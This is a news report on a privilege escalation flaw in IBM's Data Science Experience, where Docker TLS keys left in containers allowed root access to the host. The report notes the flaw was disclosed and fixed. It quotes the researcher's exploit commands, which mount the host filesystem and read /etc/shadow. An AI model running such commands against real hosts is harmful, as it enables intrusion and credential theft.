Big Blue's big blunder: IBM accidentally hands over root access to its data science servers

Private Docker Swarm keys leak into public containers


IBM left private keys to the Docker host environment in its Data Science Experience service inside freely available containers.

This potentially granted the cloud service's users root access to the underlying container-hosting machines – and potentially to other machines in Big Blue's Spark computing cluster. Effectively, Big Blue handed its cloud users the secrets needed to potentially commandeer and control its service's computers.

Technology consultant Wayne Chang identified the privilege escalation flaw following an IBM event touting the data science technology on January 31, and reported it to Big Blue the following day.

Two weeks later on February 15 – an unusually short time in the world of vulnerability disclosures – IBM corrected the cock-up, we're told.

In a blog post on Tuesday, Chang said he identified the flaw after signing up for a free demo to try the service out.

"It was a misconfiguration vulnerability with very severe consequences," Chang wrote. "In short, they left all the Docker TLS keys in the container, which is the same as leaving a jail cell's key inside the jail cell."

The Docker TLS keys are used to secure the Docker Swarm host API.

From the RStudio Web Environment that IBM provides, Chang said exploiting the vulnerability was simply a matter of downloading and extracting Docker...

system("wget https://test.docker.com/builds/Linux/x86_64/docker-1.13.1-rc1.tgz")
system("tar -xvzf docker*.tgz")

...and then using the Docker binary in conjunction with its certificates to obtain what amounts to root access to the host using volume mounts:

system("DOCKER_API_VERSION=1.22 ./docker/docker -H 172.17.0.1 \
       --tlscacert /certs/ca.pem --tlscert /certs/cert.pem \
       --tlskey /certs/key.pem \
       run -v /:/host debian cat /host/etc/shadow")

Had the flaw been exploited, IBM customer data could have been at risk.

Chang has recommended that IBM implement a number of improvements to its security architecture. He has also suggested that IBM re-image all affected machines, in case someone identified this flaw earlier and installed rootkits or other malware.

IBM did not immediately respond to a request for comment.

In an email to The Register, Chang said he's convinced that Docker and containers can be implemented securely and reliability and that these technologies have the potential to enhance security. But he chided IBM for failing to catch the flaw.

"I think that IBM already has some amazing infosec people and a genuine commitment to protecting their services, and it's a matter of instilling security culture and processes across their entire organization," Chang observed. "That said, any company that has products allowing users to run untrusted code should think long and hard about their system architecture."

Chang said that in the race to build new technologies, security is often an afterthought.

"This is not to imply that containers were poorly designed (because I don't think they were), but more that they're so new that best practices in their use are still being actively developed," Chang said.

"Compare a newer-model table saw to one decades old: The new one comes stock with an abundance of safety features including emergency stopping, a riving knife, push sticks, etc, as a result of evolving culture and standards through time and understanding."

Coincidentally, the recent introduction of Docker Datacenter includes some improvements in how secrets can be managed in conjunction with containers. ®

Broader topics


Other stories you might like

  • Cisco warns of security holes in its security appliances
    Bugs potentially useful for rogue insiders, admin account hijackers

    Cisco has alerted customers to another four vulnerabilities in its products, including a high-severity flaw in its email and web security appliances. 

    The networking giant has issued a patch for that bug, tracked as CVE-2022-20664. The flaw is present in the web management interface of Cisco's Secure Email and Web Manager and Email Security Appliance in both the virtual and hardware appliances. Some earlier versions of both products, we note, have reached end of life, and so the manufacturer won't release fixes; it instead told customers to migrate to a newer version and dump the old.

    This bug received a 7.7 out of 10 CVSS severity score, and Cisco noted that its security team is not aware of any in-the-wild exploitation, so far. That said, given the speed of reverse engineering, that day is likely to come. 

    Continue reading
  • Mega's unbreakable encryption proves to be anything but
    Boffins devise five attacks to expose private files

    Mega, the New Zealand-based file-sharing biz co-founded a decade ago by Kim Dotcom, promotes its "privacy by design" and user-controlled encryption keys to claim that data stored on Mega's servers can only be accessed by customers, even if its main system is taken over by law enforcement or others.

    The design of the service, however, falls short of that promise thanks to poorly implemented encryption. Cryptography experts at ETH Zurich in Switzerland on Tuesday published a paper describing five possible attacks that can compromise the confidentiality of users' files.

    The paper [PDF], titled "Mega: Malleable Encryption Goes Awry," by ETH cryptography researchers Matilda Backendal and Miro Haller, and computer science professor Kenneth Paterson, identifies "significant shortcomings in Mega’s cryptographic architecture" that allow Mega, or those able to mount a TLS MITM attack on Mega's client software, to access user files.

    Continue reading
  • Azure issues not adequately fixed for months, complain bug hunters
    Redmond kicks off Patch Tuesday with a months-old flaw fix

    Updated Two security vendors – Orca Security and Tenable – have accused Microsoft of unnecessarily putting customers' data and cloud environments at risk by taking far too long to fix critical vulnerabilities in Azure.

    In a blog published today, Orca Security researcher Tzah Pahima claimed it took Microsoft several months to fully resolve a security flaw in Azure's Synapse Analytics that he discovered in January. 

    And in a separate blog published on Monday, Tenable CEO Amit Yoran called out Redmond for its lack of response to – and transparency around – two other vulnerabilities that could be exploited by anyone using Azure Synapse. 

    Continue reading
  • Microsoft fixes under-attack Windows zero-day Follina
    Plus: Intel, AMD react to Hertzbleed data-leaking holes in CPUs

    Patch Tuesday Microsoft claims to have finally fixed the Follina zero-day flaw in Windows as part of its June Patch Tuesday batch, which included security updates to address 55 vulnerabilities.

    Follina, eventually acknowledged by Redmond in a security advisory last month, is the most significant of the bunch as it has already been exploited in the wild.

    Criminals and snoops can abuse the remote code execution (RCE) bug, tracked as CVE-2022-30190, by crafting a file, such as a Word document, so that when opened it calls out to the Microsoft Windows Support Diagnostic Tool, which is then exploited to run malicious code, such spyware and ransomware. Disabling macros in, say, Word won't stop this from happening.

    Continue reading
  • CISA and friends raise alarm on critical flaws in industrial equipment, infrastructure
    Nearly 60 holes found affecting 'more than 30,000' machines worldwide

    Updated Fifty-six vulnerabilities – some deemed critical – have been found in industrial operational technology (OT) systems from ten global manufacturers including Honeywell, Ericsson, Motorola, and Siemens, putting more than 30,000 devices worldwide at risk, according to private security researchers. 

    Some of these vulnerabilities received CVSS severity scores as high as 9.8 out of 10. That is particularly bad, considering these devices are used in critical infrastructure across the oil and gas, chemical, nuclear, power generation and distribution, manufacturing, water treatment and distribution, mining and building and automation industries. 

    The most serious security flaws include remote code execution (RCE) and firmware vulnerabilities. If exploited, these holes could potentially allow miscreants to shut down electrical and water systems, disrupt the food supply, change the ratio of ingredients to result in toxic mixtures, and … OK, you get the idea.

    Continue reading
  • 1Password's Insights tool to help admins monitor users' security practices
    Find the clown who chose 'password' as a password and make things right

    1Password, the Toronto-based maker of the identically named password manager, is adding a security analysis and advice tool called Insights from 1Password to its business-oriented product.

    Available to 1Password Business customers, Insights takes the form of a menu addition to the right-hand column of the application window. Clicking on the "Insights" option presents a dashboard for checking on data breaches, password health, and team usage of 1Password throughout an organization.

    "We designed Insights from 1Password to give IT and security admins broader visibility into potential security risks so businesses improve their understanding of the threats posed by employee behavior, and have clear steps to mitigate those issues," said Jeff Shiner, CEO of 1Password, in a statement.

    Continue reading

Biting the hand that feeds IT © 1998–2022